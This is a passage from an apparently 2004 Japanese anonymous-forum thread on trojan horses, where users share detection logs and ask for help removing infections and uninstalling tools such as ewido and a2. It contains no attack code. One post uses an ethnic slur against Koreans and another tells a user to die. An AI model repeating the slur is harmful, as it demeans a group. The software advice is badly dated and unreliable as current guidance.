NGNG相当重いのでタスク調べたらcpuが100になってました
消したら元に戻りました
0371名無しさん＠お腹いっぱい。
NGNG0372名無しさん＠お腹いっぱい。
NGNG0373名無しさん＠お腹いっぱい。
NGNGつーかこの会話読んでて分からんの？
0374名無しさん＠お腹いっぱい。
NGNGタスクバーから外れて画面表示されるんだが、同様の現象ありませんか?
XP Pro SP2です。
0375名無しさん＠お腹いっぱい。
NGNGDownloading Signature database update 09/29/2004 ...
Added detection for Worm.Win32.Bagle.as
0376名無しさん＠お腹いっぱい。
NGNG同じく。トロイの検知機構が、隠す仕組を奪うんだろうね。
0378名無しさん＠お腹いっぱい。
NGNGNetBusトロイの木馬を使ってローカルコンピュータに接続しようとする試みを遮断しました。
と14件ほど、急に検出しまくってた・・・
0379名無しさん＠お腹いっぱい。
NGNGoutpostのログ見ると、
23時から10分程度の間に
ポート1023と5554に10件、通信の要求が来てる。
ポート番号からググって見たら、sasserとかDabber.Bとかのせいらしい。
0380名無しさん＠お腹いっぱい。
NGNGewidoの終了の仕方が分かりません。プロセス終了させようとしても、アクセス拒否されます。
ZAとかは、右クリックに終了メニューがあるんですが…。
ちなみに、終了方法をぐぐっていたところ、
セキュリティ初心者質問スレッドpart47
http://pc5.2ch.net/test/read.cgi/sec/1095637802/
201 名前：名無しさん＠お腹いっぱい。[] 投稿日：04/09/26 08:15:42
ewidoの終了の仕方がわからないです。どうすればいいですか？
と言うのを発見してこちらに来たんですが、質問もされてないようですし、当然回答もないようです。
0381名無しさん＠お腹いっぱい。
NGNGWin起動時に常駐されると終了できないみたいなので、
msconfigでスタートアップから外しておいて再起動する。
常駐させていなくても右クリックスキャンはできるみたい。
0382名無しさん＠お腹いっぱい。
NGNG0383380
NGNGありがとうございます。
msconfigのスタートアップ見ましたが、ないようでした。再起動すると、現れるのかな。
1度でも実行すると、終了できない感じですね。
なんか、イヤーな動きです。xeroxフォルダかいな。
0384名無しさん＠お腹いっぱい。
NGNGスタートアップじゃなくてサービスのところだった。
もう一度見てください。
0385名無しさん＠お腹いっぱい。
NGNGサービスに項目あるよ
0386名無しさん＠お腹いっぱい。
NGNG中にはアンチウイルスソフトやFWを無効化させるものまである。
だから終了できないくらいのほうがいいんじゃないか。
0387名無しさん＠お腹いっぱい。
NGNG0388名無しさん＠お腹いっぱい。
NGNG0390名無しさん＠お腹いっぱい。
NGNG213.239.195.138→217.172.187.213
0391名無しさん＠お腹いっぱい。
NGNG今夜もお盛んな模様（´д`；
0392名無しさん＠お腹いっぱい。
NGNG0393名無しさん＠お腹いっぱい。
NGNG0394名無しさん＠お腹いっぱい。
NGNG0395名無しさん＠お腹いっぱい。
NGNGhttp://pc5.2ch.net/test/read.cgi/sec/1077204396/l50 は無視ですかそうですか
0396名無しさん＠お腹いっぱい。
NGNG0397名無しさん＠お腹いっぱい。
NGNGトロイの木馬の現状とそれを取り巻く状況について語るスレ、であって
トロイ対策ソフトを語るスレじゃないんだよな。
危機意識を持つのはいいことなんだが、
ソフトを導入してお終いじゃあ、かえって深い傷を受けることになるよ。
0398名無しさん＠お腹いっぱい。
NGNGこいつらのレベルが低いのは必然なのさ。
0399名無しさん＠お腹いっぱい。
NGNG// |:!
//,. -/r‐- ､| !
/,/ ./ | _」 ﾄ､
/.＼`/ |二...-┘ ヽ
. i ,.>､;／ｰ- ､ l
! ∠..＿;'＿＿＿_＼ |
,!ｲ く二>,.、 <二＞｀＼.､ヽ.
／'´レ--‐'ﾉ. `ｰ---- ､ |＼ ヽ、
＼ `l (!" Jfヽ! `''-;ゝ
`‐､jヽ ヾﾆﾆ> ﾞｲ" }_,,. ‐''´
`´＼ ｰ ／ ,ィ_}
. |_ `ー ''´ ＿｣'
＿,.| ~||｢ ￣ 人|､.＿
,r=＝;"´ ヽ ﾐ|||彡 ／ ` ｰ`＝=､-､
. ///,ｲ ＿＿_ ヽ|||_,,. ‐''´＿＿＿ | | | |ヽ
ホワイトベースはコナミの登録商標です
0400名無しさん＠お腹いっぱい。
NGNGぐ''ｰ 、 ぐ'''ｰ､
| .〔.. ---､ ! .| .,,,,
,,.. -‐'''"゛ ._..-‐'" | ｀ﾞ´ ｀''>
｀"''フ" _,,.... ￣´ﾞヽ ! .|ﾞ^''''"´
／. ,..‐,ﾞ,,,,,..ヾ .┴-―ｰ''''''''ｰ ､ _、 ._,,,..ゝ !'ﾆﾆ冖''ｰ､
_,,,.. -┘ _,二-ｰ￢''''''''''''''''''''―-- ....,,,,./ │´ i.. ‐''"゛ │ .!
.ﾞ'￣ ._,, ‐'"´ _,, -ｰ'''''二二ﾐﾞ'''‐、 | .|.. -‐'''"´ﾞ'ｒ ! l
´ ! ﾞ'"∠.. -、 .ゝ--､ / ,! l ./';;jl ‐''" | .!
ｌ ﾞｉ,i;;;;;;′ ／ ,i′ / ! ﾐ -‐''"゛../ . ! |
ｌ ｌ_..-′ .!''''''′ / ! .l'''ァ . ／ .! |
ヽ ,,,_,､ .i'''''ｰ- ヾ ! .!',∠ン -―ｰ″ !
`'',ﾞ,,..ﾉ .!''"´｀ﾞ',i lﾞ‐''′ .,, -ｰ''';;;;''''-、 /
'ゞ ......〟 ,, -‐''" `--/′ ） ｀''￣ﾞ''ゞ、
...,,,i .!------― ,, ,／゛ .,／゛ .'ヽ ﾞ'､
.(''''''''"ﾞﾞ_,,.. -ｰ''''''''''―- ..,,,,_ ｀'､ xﾆ,,.. -'″ ＼ |
ﾞ'ｰ'"゛ ´ ｀'゛
0401名無しさん＠お腹いっぱい。
NGNG0402名無しさん＠お腹いっぱい。
NGNG0403名無しさん＠お腹いっぱい。
NGNGGJ
0404名無しさん＠お腹いっぱい
NGNGスレだとSwat Itは話題になってないようですが。
0405名無しさん＠お腹いっぱい。
NGNG0406名無しさん＠お腹いっぱい。
NGNG0407名無しさん＠お腹いっぱい。
NGNG0408名無しさん＠お腹いっぱい。
NGNG0409名無しさん＠お腹いっぱい。
NGNGIMEパッドから「手書き」の呼び出しが正常に出来ますか？
0410名無しさん＠お腹いっぱい。
NGNG0411名無しさん＠お腹いっぱい。
NGNG毎晩チョんが木馬に乗って攻めてきます
0412名無しさん＠お腹いっぱい。
NGNG漏れも・・・マカヒー入れても食らった。退治できたけど
0413名無しさん＠お腹いっぱい。
NGNGKOREAから攻めてきました
0414名無しさん＠お腹いっぱい。
NGNG0415名無しさん＠お腹いっぱい。
NGNGSwatIt Free はほとんど更新無し。(年に数回しかない)
暫らく使ってたけどやめた。
SwatIt の有償版を使ってる人っているのかな？
有償版の更新頻度が気になるが。
0416名無しさん＠お腹いっぱい。
NGNG0417名無しさん＠お腹いっぱい。
NGNGNetBusはそれ自身がサーバとして働いているタイプものだけど昨今のスパイウェアのように
遠隔地に置いてある指令所のホストにあくまでクライアントとして接続して命令を受け取り実行するといったタイプのほうが増えていると思う
0418名無しさん＠お腹いっぱい。
NGNG0419名無しさん＠お腹いっぱい。
NGNG>クライアントならFW突破するのも造作もないからね‥
理解できない。FW突破する手口をきぼん。
0420名無しさん＠お腹いっぱい。
NGNG0421名無しさん＠お腹いっぱい。
NGNG普通、FWはアプリとポートを組み合わせてルールを作るので、80ポートならなんでも
OKとはいかないよ。
0422名無しさん＠お腹いっぱい。
NGNG突破とは言わないけどｗ
0423名無しさん＠お腹いっぱい。
NGNGエロい人解説キボンヌ…
0424名無しさん＠お腹いっぱい。
NGNG0425名無しさん＠お腹いっぱい。
NGNGなめてるから後回し
0426名無しさん＠お腹いっぱい。
NGNG0427名無しさん＠お腹いっぱい。
NGNGさせられる。タスクバーのアイコンを右クリックすると、従来一番下にあった
"Launch main program"が一番上に行って、一番下に"shutdown guard"が
来たのがびっくりさん。
現在v3.0でスキャン中だが、これまで引っ掛からなかったトロイを1個引っ掛けた。
0428名無しさん＠お腹いっぱい。
NGNGSelect additional Options for the Installations.
Install background guard(recommended)
Install Shell-Extension
0429名無しさん＠お腹いっぱい。
NGNG起動のたびにewidoが常駐し、 realtime protection にチェックが入ってるんです。
また、status の license information の package: が plus になってます。
これ有償版って事ですか？なぜ？
あと、新バージョンって、スキャン対象で +everything 押すたびに
ドライブが繰り返し登録されていきますね。
前は何回押しても一通りしか登録されなかったのに。
0430名無しさん＠お腹いっぱい。
NGNGver.3.0になってからplusになってるね
「機能制限なし」だってヽ(´∀`)ﾉ
多分、次のうｐだてで修正されるだろうけど・・・
0431名無しさん＠お腹いっぱい。
NGNGちゃんとdemo版になっている。もう修正されたのだろうか？
ちなみに+everything 押すたびにドライブが繰り返し登録されていくのは修正されていない。
0432名無しさん＠お腹いっぱい。
NGNG0433名無しさん＠お腹いっぱい。
NGNGこれ選択すると.exeが常駐するね。
0434名無しさん＠お腹いっぱい。
NGNGewudoctrl.exe
コイツは何者でつか？
0435434
NGNG？？ Install background guard(recommended)
→ewidoguard.exe常駐
？？ Install Shell-Extension
→ewidoctrl.exe常駐
0436名無しさん＠お腹いっぱい。
NGNGShell-Extensionを選択しなくてもewidoctrl.exeは常駐するみたい。
0437名無しさん＠お腹いっぱい。
NGNG使い方とかのやりとりは勘弁してくれ。
0438名無しさん＠お腹いっぱい。
NGNG上のはアイコンが常駐する
下のは拡張機能じゃないの
0439名無しさん＠お腹いっぱい。
NGNG0440名無しさん＠お腹いっぱい。
NGNGewido【Trojan Horsesが気になる貴方に】
http://pc5.2ch.net/test/read.cgi/sec/1098285373/
0441名無しさん＠お腹いっぱい。
NGNG検索してたら>>27-30の会話だけが引っかかってここにたどりついたのですが
nycrkldr15.exeのトロイの木馬はどんな症状になるのか教えてください。
0442名無しさん＠お腹いっぱい。
NGNG>>27-29
0443名無しさん＠お腹いっぱい。
NGNG0444名無しさん＠お腹いっぱい。
NGNGewido aﾖ bitdefender pandaで異常なし
0445名無しさん＠お腹いっぱい。
NGNG0446４４１
NGNGewidoって何ですか？
0447名無しさん＠お腹いっぱい。
NGNG0448名無しさん＠お腹いっぱい。
NGNGトレンドマイクロはもちろん、他のサイトやgoogleで調べても
ほとんど情報がありません。ちなみに感染経路もわかりません。メールの送受信も
してませんし、サイトも見てない時にいきなり発見されました。Ｐ２Ｐも
立ち上げてなかったので関係ないと思います。かなり新しいウィルスかなぁ・・
それにしても名前がリネージュって・・（＾＾；）誰か知りませんか？
0449名無しさん＠お腹いっぱい。
NGNGメーカーに直接電話かメール
0450名無しさん＠お腹いっぱい。
NGNG「PCのセキュリティは無問題だけど家のセキュリティはボロボロになった」
って返事が来た…
0451名無しさん＠お腹いっぱい。
NGNG,,,,,,,,,, ,,ii,,、 ,,,i,,、
.,lllllllll,,,,,,,,,,,,,,,,,,,,,,, ,iillllllllllii,, ,,,iillllllllii,,,
iiiiiiiillllllllllllllllllllllllllllllllllllllll| ﾞﾞ!lllllllllllllir .,,,iilllllllllllllll!ﾞﾞ′
.llllllllllllllllllllllllll!!!!!!!!!!!!!!!!!″ ﾞﾞ!!ll!ﾞ",,,iilllllllllllll!!ﾞﾞ゜
.ﾞﾞﾞﾞﾞﾞ”゛ llllllllllliiiiiiii,,,,,,,、 ,,,iillllllllllll!!ﾞﾞ゜ ＿__,,,,,
,,,iiillllllllllllllllllllllllllllllliii,, ,,,,,,,,,iiiiiiilllllllllllllllllllllllllllllllllllllllll
.,,illlllllllllllllllllllﾞﾞﾞﾞﾞﾞ!!llllllllllllli, .,,,,,iiiiiiiiiiiiiiiiiii,,,、 .llllllllllllllllllllllllllllllllllllllllllllllll!!!!!!l
,illllllllll!ﾞﾞllllllllll| ,illlllllllllllllll, liilllllllllllllllllllllllllllllllli,, lllllllllll!!lllllllllllllll!!ﾞﾞﾞ”｀
,llllllllllﾞ .lllllllllll .,,illlllllllllllllllllll、 ﾞllllll!!ﾞﾞﾞ’ ﾟﾞllllllllll ﾞﾞ”｀.,illllllllll!lﾞ’
: llllllllll° .llllllllllll,illllllllll!ﾞ｀lllllllllll .ﾞﾞ゜ ,llllllllll! ,llllllllllll°
: llllllllll, lllllllllllllllllll!ﾞ゜ ,lllllllllll ,,,illllllllll!゜ .llllllllllllli,_ ,,,,,,,,iiiiiii、
: 'lllllllllllliiilllllllllllllll!!ﾞ’ ,lllllllllll° .,,,,iiillllllllllll!ﾞ゜ ﾞ!llllllllllllllllliillllllllllllllllllllllll,、
.ﾞ!!lllllllllllllllll!!!ﾞﾞ｀ .l!!llllllll° .ﾞ!lllllll!!!ﾞ° ﾞﾞ!!llllllllllllllllllllllllllllll
0452名無しさん＠お腹いっぱい。
NGNG0453名無しさん＠お腹いっぱい。
NGNG0454名無しさん＠お腹いっぱい。
NGNG向こうに書き込め。
>>453
お前は出入禁止。
0455名無しさん＠お腹いっぱい。
NGNG0456名無しさん＠お腹いっぱい。
NGNG0457名無しさん＠お腹いっぱい。
NGNGうｐデートとかサポートがそれ以上適用されなくなるんだろ？
漏れ知らないで使ってたから
なんか2週間後に急にごちゃごちゃいじられるのはじまったから
少し焦ったけどな。スレ違いｽﾏｿ。
0458名無しさん＠お腹いっぱい。
NGNG>うｐデートとかサポートがそれ以上適用されなくなるんだろ？
ということは定義ファイルうｐデートしてもスキャンの時に
古い定義ファイルを使われるってこと？
0459名無しさん＠お腹いっぱい。
NGNGエロサイトを巡回中ノートン先生が
Trojan horseを見つけたその後
修復出来ませんでしたのメッセージ
ewidoでまずメモリースキャンしたが検出されず
Trojanが入っている場所
Documentos and Settings/ユーザー名/ApplicationDataを
スキャンしても検出されず
A2で同様のフォルダーをスキャンするも
検出されなかった。
これはTrojanには感染してなかったって事でしょうか？
あと、ewido（無償版）をウＰデートしたら、
Databaseが無くなりましたっぽいメッセージがでるのですが
これは使えなくなったってことでしょうか？
長文すみません。
0460名無しさん＠お腹いっぱい。
NGNGオンラインスキャンすべし
それとトロイがあると思われるフォルダを調べる
>>Databaseが無くなりましたっぽいメッセージがでるのですがこれは使えなくなったってことでしょうか？
使えなくなったっぽい・・・としか言えない
0461名無しさん＠お腹いっぱい。
NGNG0462名無しさん＠お腹いっぱい。
NGNGr'⌒X⌒X⌒X⌒X⌒X⌒X⌒X⌒X⌒X⌒X⌒X⌒X⌒X⌒X⌒ヽ ⊂ﾞ⌒ﾞ､∩
ヽ__乂__乂__乂__乂__乂__乂__乂__乂__乂__乂__乂__乂__乂__乂__ノ ⊂（｡A｡）ｷﾀ━━━━━━━━!!!!!!
0463帆船8●1
NGNGﾉﾉﾉﾉ
(*ﾟ∋ﾟ) ！！
￣￣|￣￣|￣|⌒ヽ
￣|￣￣|￣￣|ﾟωﾟ) ！！
￣￣|￣￣|￣|⌒丶
￣|￣￣|￣￣|从ｗﾉ
￣￣|￣￣|￣|Д゜ﾉ ！！
￣|￣￣|￣￣| /
￣￣|￣￣|￣|∀・） ！！
＾^＾^＾^＾^＾^＾^＾^＾^＾^＾
0464名無しさん＠お腹いっぱい。
NGNG0465名無しさん＠お腹いっぱい。
NGNG0466名無しさん＠お腹いっぱい。
NGNG驚いた
0467名無しさん＠お腹いっぱい。
NGNG0468名無しさん＠お腹いっぱい。
NGNG0469名無しさん＠お腹いっぱい。
NGNGなんだこりゃ
0470名無しさん＠お腹いっぱい。
NGNG遮断するのだが、はやってるのでしょうか・・
あと少し前に流行した４４５が多いみたいです。
0471名無しさん＠お腹いっぱい。
NGNGttp://www.cyberpolice.go.jp/detect/observation.html
いつものこと
Blockしてるんなら気にしないでいいんでないの
0472名無しさん＠お腹いっぱい。
NGNGそうっすか・・こんなサイトがあったのですね。ありがとう。
参考までに最近トロイの木馬攻撃をしてきた出元は
アメリカのセントルイスとサンノゼの２都市でした。
0473名無しさん＠お腹いっぱい。
NGNGこれはトロイの木馬の総称って事ですか？
修復できていないようで怖いです
0474名無しさん＠お腹いっぱい。
NGNGhttp://pc5.2ch.net/test/read.cgi/sec/1098285373/
0475名無しさん＠お腹いっぱい。
NGNGDownloading Common signature update 10/31/2004 ...
12 new signatures added - and by the way: Happy Halloween! :)
0476名無しさん＠お腹いっぱい。
NGNG0477名無しさん＠お腹いっぱい。
NGNGググッたけどでてこなかった。
0478名無しさん＠お腹いっぱい。
NGNG検索してもひっかからないし削除した憶えもありません、
ハッキングされ盗まれたのでしょうか？
0479名無しさん＠お腹いっぱい。
NGNG0480478
NGNGこれからはきちんとバックアップを取りたいと思います
0481いなむらきよし
NGNG0482名無しさん＠お腹いっぱい。
NGNG0483名無しさん＠お腹いっぱい。
NGNG0484名無しさん＠お腹いっぱい。
NGNGa2も今日ﾋｻﾋﾞｻに立ち上げてみたら
容姿が変わってたから
ビビッた
0485名無しさん＠お腹いっぱい。
NGNG一回チェックしてみたら最後、全然そのページも開いてない時でさえ
延々となんか送ってきてる。先生が遮断しているけどうざくてしょうがない。悪質サイトだな。
0486名無しさん＠お腹いっぱい。
NGNG素晴らしいｿﾌﾄです。
0487名無しさん＠お腹いっぱい。
NGNGオレは常駐保護の期限の切れたewidoと組み合わせて使ってる。
Prevx Home - Version: 2.0 free security product
http://www1.prevx.com/prevxhome.asp
0488名無しさん＠お腹いっぱい。
NGNG面白そう。
0489名無しさん＠お腹いっぱい。
NGNGこれってFireWallなの？
0490名無しさん＠お腹いっぱい。
NGNGアンチハッカー、アンチトロイ、アンチスパイの常駐して監視、保護してくれる
総合セキュリティツール。
0491名無しさん＠お腹いっぱい。
NGNG常駐時メモリどの位食う？
0492名無しさん＠お腹いっぱい。
NGNGここを読む限りでは、とにかく新しくソフトをインストールするような動きを
監視するソフトっぽいですな。
0493名無しさん＠お腹いっぱい。
NGNG自演をミスる醜態を晒してたよ。
115と名乗るべきところを118と書いてしまったという（ｗ
http://pc5.2ch.net/test/read.cgi/sec/1099893189/115-119
115 名前：名無しさん＠お腹いっぱい。 投稿日：04/11/09 17:07:19
本日から、バスターからノートン2005に乗り換えたんですが、スキャンで
ウィルスが検出されましたが、自動で修復してくれました。その時のウィルス
の詳細が知りたいのですが、ウィルスのログが探してもどこにあるかわかりません。
すみませんが、教えてください。お願いいたします。
------------------------------------------------------------------------------
118 名前：名無しさん＠お腹いっぱい。 投稿日：04/11/09 17:09:20
>>115
レポート→検疫項目を表示
------------------------------------------------------------------------------
119 名前：118 投稿日：04/11/09 17:13:04
すみません。ありがとうございます。
バスターより複雑なので、迷ってしまいました。
『VBS.LoveLetter.Var』というのが検出されてましたが、シマンテックの
HPのウィルス辞書には、ないのですがどうしてなんですか？
重ね重ねお願いいたします。
0494名無しさん＠お腹いっぱい。
NGNG0495名無しさん＠お腹いっぱい。
NGNGSpybot,AVG,BitDefender,ﾌﾟﾘｲﾝｽｺされてたマカフィーと試しましたが駆除できず。
駆除できるよってな情報お持ちの方おられましたら教えてください。。
0497名無しさん＠お腹いっぱい。
NGNGTrojanSpy.Win32.Agent.lは引っかからなかったです。。
0498名無しさん＠お腹いっぱい。
NGNGで？
0499名無しさん＠お腹いっぱい。
NGNGリカバリだな。
0500名無しさん＠お腹いっぱい。
NGNGhttp://ex5.2ch.net/test/read.cgi/musicj/1097624180/706
>>706が、IP抜いたと騒いだり、トロイをしかけたなどと宣言しているけれど、
ほんとのことなの？ほんとだったら犯罪じゃない？
0501名無しさん＠お腹いっぱい。
NGNG0502名無しさん＠お腹いっぱい。
NGNG0503名無しさん＠お腹いっぱい。
NGNG0504名無しさん＠お腹いっぱい。
NGNG0505名無しさん＠お腹いっぱい。
NGNG0506名無しさん＠お腹いっぱい。
NGNGZipファイルの中にあるexeファイルにトローイのやろいを発見したのれすが、
解凍してexeを実行しない限り感染しないのれすか？
つまり実行しなければウイルスと同じように、解凍したり解凍ソフトで
zipの中身を参照しても感染しないということでつか？
0507名無しさん＠お腹いっぱい。
NGNG【WindowsUpdateしてるか】
【AntiVirusは何を使っているか】
【ちゃんとUpdateしてるか】
【スキャンした結果（ウイルス名・発見場所）】
【別のオンラインスキャンしたならその結果は】
【症状を具体的に、分かる限りすべて書く】
【何をしたらそんなことになったのか】
【これまでにとった措置】
【その他の質問】
0508名無しさん＠お腹いっぱい。
NGNGちょっと調べたところ、トロイ系のウイルスみたいだったのでＡＶＡＳＴとシマンテックでスキャン
したんだけど、効果無しでした。
誰か対処方法を教えてくれ～！！！
0509名無しさん＠お腹いっぱい。
NGNG0510名無しさん＠お腹いっぱい。
NGNG一回死ね
0511名無しさん＠お腹いっぱい。
NGNG？？ ？？
？？？？ ？？？？
？？？？？？？？？？？？？？
？？？？？？？？？？？？？？？？？
？？？？？？？？？？？？？？？？？
？？？？？？？？？？？？？？？？？
？？？？？？？？？？？？？？？？？
？？？？？？？？？？？？？？？
？？？？？？？？？？？？
？？？？？？？？？？？？？？？
？？？？？？？？？？？？？？？？？
0512名無しさん＠お腹いっぱい。
NGNGウイルスにかかって、ウイルスバスターズで検索したところ
１５個ファイルが見つかりました。
（ウイルスにかかってから、バスターズをダウンロードしました）
削除も隔離もできませんでした。
ＴＲＯＪ＿ＤＹＦＵＣＡ．Ｍ
ＴＲＯＪ＿ＤＹＦＵＣＡ.ＣＲがみつかりました。
Meを使ってます。
調べたところ、
手動削除手順：
最新のバージョン（エンジン、パターンファイル）を導入したウイルス対策製品を用い、
ウイルス検索を行ってください。
この不正プログラムは「TROJ_DYFUCA.M」として検出されます。
検出されたファイルはすべて「削除」してください。
と書かれてありました。
手動で削除しなさい、とも書いてあったのですが何度読んでも
理解できません。
パソコンのどこから開いて何を削除したらよいのでしょうか？
過去ログを読んでも難しくて実は理解できてないです。
どなたか親切な方、お願いします。教えて下さい。
0513名無しさん＠お腹いっぱい。
NGNGTrojan horse BackDoor.Agent.2.H に感染しました。
ＯＳはwindowsXP。サービスパック①のときの感染です。現在は、サービスパック②です。
ＡＶＧで判明です。困っています。よろしくです。
0514名無しさん＠お腹いっぱい。
NGNG>>3のオンラインチェックしてみ。
パクリテンプレ
【1-20を読んだか】
【使用OS】
【WindowsUpdateしてるか】
【AntiVirus/AntiTroyは何を使っているか】
【ちゃんとUpdateしてるか】
【スキャンした結果（ウイルス/トロイ名・発見場所）】
【別のオンラインスキャンしたならその結果は】
【症状を具体的に、分かる限りすべて書く】
【何をしたらそんなことになったのか】
【これまでにとった措置】
【その他の質問】
0515名無しさん＠お腹いっぱい。
NGNGログ↓
C:\WINDOWS\Downloaded Program Files\PPSDKActiveXScanner.INF ->
TrojanDownloader.VB.db -> バックアップ後削除
トレンドマイクロやシマンテックやa2やewidoのデータベース見ても、
どういうトロイかわかりません。これなにするやつですか？
削除したらそれで問題ありませんか？
XPhomeSP2です。
0516名無しさん＠お腹いっぱい。
NGNGewido【Trojan Horsesが気になる貴方に】
http://pc5.2ch.net/test/read.cgi/sec/1098285373/
0517名無しさん＠お腹いっぱい。
NGNGコマンドプロンプトで netstat -a
したら ＥＳＴＡＢＬＩＳＨＥＤ が出ています
まずいですか？
0518名無しさん＠お腹いっぱい。
NGNGまっかく、こっちがききたいわ
0519名無しさん＠お腹いっぱい。
NGNG0520名無しさん＠お腹いっぱい。
NGNG激しく強力なツールな気がする。
常駐機能のみ。拒否、確認、お知らせのみ？の
３段階で各項目を事前に設定する必要が有る。
デフォのままで良いと思うけど。
感覚的にはSSMの細かい設定が出来ない版って
感じがした。動作は軽くてUIは黒が基調でカコイイ。
0521名無しさん＠お腹いっぱい。
NGNGcopycat試してﾎｽｲ。
0522名無しさん＠お腹いっぱい。
NGNGMeは(・∀・)ｶｴﾚ!!ってことで挫折orz
0523名無しさん＠お腹いっぱい。
NGNGなんかインストールの途中でエラーがでて終わっちまう orz
0524523
NGNGError 1720. There is a probles with this Windows Installer
package. A script required for this install to complete could not be
run. Contact your support personnel or package vender.
0525名無しさん＠お腹いっぱい。
NGNG0526名無しさん＠お腹いっぱい。
NGNG誰か何とかしてくれ。
0527名無しさん＠お腹いっぱい。
NGNGそんな漏れもPrevx Home 2.0入れてみた
v2.0は>>492さん紹介のサイトのような登録は必要無いが、
ほんとにデフォルトでいいのか不安だ･･･
なにせやる事が無いからw
確かに軽くていいね
updateの間隔も設定できるからほんと、やる事無くなるのよね
日本語化出来ますように･･･他力本願
copycatは何方かﾖﾛ
0528名無しさん＠お腹いっぱい。
NGNG0529名無しさん＠お腹いっぱい。
NGNG設定する場所なんだけど簡易SSMみたいな感じで
FW機能は無いみたい。
0530名無しさん＠お腹いっぱい。
NGNGということは、アプリケーションを起動しようとすると、
起動していいかどうかダイアログが出るの？
0531名無しさん＠お腹いっぱい。
NGNG各種セキュリティのうｐに一々鬼のようにポップアップしやがる
アラートが出てる間は当然うｐｲﾝｽｺは中断してる訳だが。
一度のallow/denyでうｐだて完了まで大人しくさせるにはどうやるんだ？
「this event～」だとﾑﾘで、
その下のでもすぐにポップしてくるし
ewidoのver.UPの時のようにシグネーチャー総どっかえみたいな時が心配だw
ヘルプ読むか 土曜だし
0532531
NGNGちなみに
常駐アイコン右クリ「Trusted Installation」のようだ
試そうにもうｐだて出来るのが無い
何かｲﾝｽｺするのもめんどい
0533名無しさん＠お腹いっぱい。
NGNG0534名無しさん＠お腹いっぱい。
NGNGcode注入後にアラートみたいな。
0535名無しさん＠お腹いっぱい。
NGNGewidoのシグネチャとノートンの定義ファイルとどう違うのかワシには分からんw
0536名無しさん＠お腹いっぱい。
NGNGアンチトロイソフトを入れるメリットってあるの？
あと、アンチウイルスソフトは複数入れちゃいけないのが常識。
アンチウイルスソフトとアンチトロイソフトはバッティングしないの？
0537名無しさん＠お腹いっぱい。
NGNGアンチウイルスを常駐させてアンチトロイは非常駐でつかえば
バッティングしない（右クリ用で使うとか）
0538名無しさん＠お腹いっぱい。
NGNG＞おまいら勘違いしすぎ。
＞a2にでもこれにしても、金払って常駐監視させて使うのが本道のツールなんだよ。
＞トロイはマシンに進入されたらもうアウトだと思うぐらいじゃないとな。
＞トロイはそんなに甘いもんじゃない。
＞フリーが役に立つのは子供でも気付くアーカイブの中に入っている悪戯appを見つけることぐらいだよ。
ewido【Trojan Horsesが気になる貴方に】
http://pc5.2ch.net/test/read.cgi/sec/1098285373/103
0539名無しさん＠お腹いっぱい。
NGNGどちらの検出率も飛び抜けている実績を持つ
優秀な常駐プログラムがあります。
0540名無しさん＠お腹いっぱい。
NGNGそのスレでも誰にも相手されてないじゃん
0541名無しさん＠お腹いっぱい。
NGNG0542名無しさん＠お腹いっぱい。
NGNGアンチウイルスがトロイに弱いというのはなぜ？
検出の仕組みが違うの？
つまりウイルスの検出力を上げるとどうしても
トロイの検出力が下がるってこと？
0543名無しさん＠お腹いっぱい。
NGNG申し訳ないのですが、削除の仕方教えてください
【使用OS】WindowsＭｅ
C:\windows\questmod.dll
C:\windows\vsapi32.dll
C:\windows\Schedlog
C:\windows\WIN386.SWP
上記４ファイルが「削除できません：アクセスできません。送り側のファイルが使用中の可能性があります」
と、なってしまい削除できません
どうしたらきれいに消せますか？
0544名無しさん＠お腹いっぱい。
NGNGhttp://www.forest.impress.co.jp/article/2002/11/06/rebootfiledeleter.html
0545名無しさん＠お腹いっぱい。
NGNG以前トロイの木馬が云々という警告がノートンから一度出たのでトロイとやらに感染したと思ってそうしました。
で特に今は何も問題ないんですがそれまではごくたまにだったトロイの警告がネットをしてるといつも出ます。いずれも韓国からです。
この状況はやばいのでしょうか・・・・どうか教えてください。
0546名無しさん＠お腹いっぱい。
NGNG【1-20を読んだか】
【使用OS】
【WindowsUpdateしてるか】
【AntiVirus/AntiTrojanは何を使っているか】
【ちゃんとUpdateしてるか】
【スキャンした結果（ウイルス/トロイ名・発見場所）】
【別のオンラインスキャンしたならその結果は】
【症状を具体的に、分かる限りすべて書く】
【何をしたらそんなことになったのか】
【これまでにとった措置】
【その他の質問】
0547名無しさん＠お腹いっぱい。
NGNGだそうな 導入4日で143ね
FWにはZA使ってるがその間に
「37個の進入をブロックしました」
･････
0548名無しさん＠お腹いっぱい。
NGNGTROJ_QHOST.Hというのが検出されたんですが
データベース等検索してもヒットしません。
TROJ_QHOST.Nというのはありましたが。。
0549名無しさん＠お腹いっぱい。
NGNG情けない質問で申しわけない＿|￣|○
0550名無しさん＠お腹いっぱい。
NGNGRPADMIN.EXE
0551名無しさん＠お腹いっぱい。
NGNGありがとうございます（ ´∀｀）
0552名無しさん＠お腹いっぱい。
NGNGこのスレでよく名前の出ているewidoとa2はどちらを
導入した方がよいのでしょうか？
双方インストした方がセキュリティ面では安全なのでしょうか。
アドバイスお願いいたします。
0553名無しさん＠お腹いっぱい。
NGNGewidoはちゃんとアンインスコできない
とか書いてるのを見かけたので
俺はa2しか入れてないな。
0554名無しさん＠お腹いっぱい。
NGNG間違いないよ、俺、今日アンインスコしたけれど
ゴミが残ってるよ。
ewidoで検索かけたら出てきたけど、それだけじゃないみたいだ。
最近では一番癖の悪いソフトだと思ったよ。
んで、現在は俺もa2のみ。
0555名無しさん＠お腹いっぱい。
NGNG両方いれればいいんじゃないかと
0556名無しさん＠お腹いっぱい。
NGNG0557名無しさん＠お腹いっぱい。
NGNG無効にして、ewidoをアインスコし、ewidoで検索掛けて
出てきた物を削除したが、サービスに登録が残ったままになっとるよ。
レジストリーもクリーナーでクリーニングしたんだけど駄目。
手動で探してゴミを削除するしかないみたいですね。
0558名無しさん＠お腹いっぱい。
NGNGサービス削除楽だよ。
0559557
NGNG削除成功。
之で、サービスに登録されていたewidoの２種類を完全削除できました。
これで、もうゴミは無いと思います。
二度と入れんぞ糞そewido
0560名無しさん＠お腹いっぱい。
NGNGサンクスです。
0561名無しさん＠お腹いっぱい。
NGNG【使用OS】 ウインドウズＸＰプロフェッソナル
【WindowsUpdateしてるか】 サービスパック２は未だ様子見
【AntiVirus/AntiTrojanは何を使っているか】 ノートンアンチウイルス、シマンテック
やウイルスバスターサイトでネットスキャンもよくやっている
【ちゃんとUpdateしてるか】 sir,yes,sir!
【スキャンした結果（ウイルス/トロイ名・発見場所）】 出てきません
【別のオンラインスキャンしたならその結果は】 出てきません
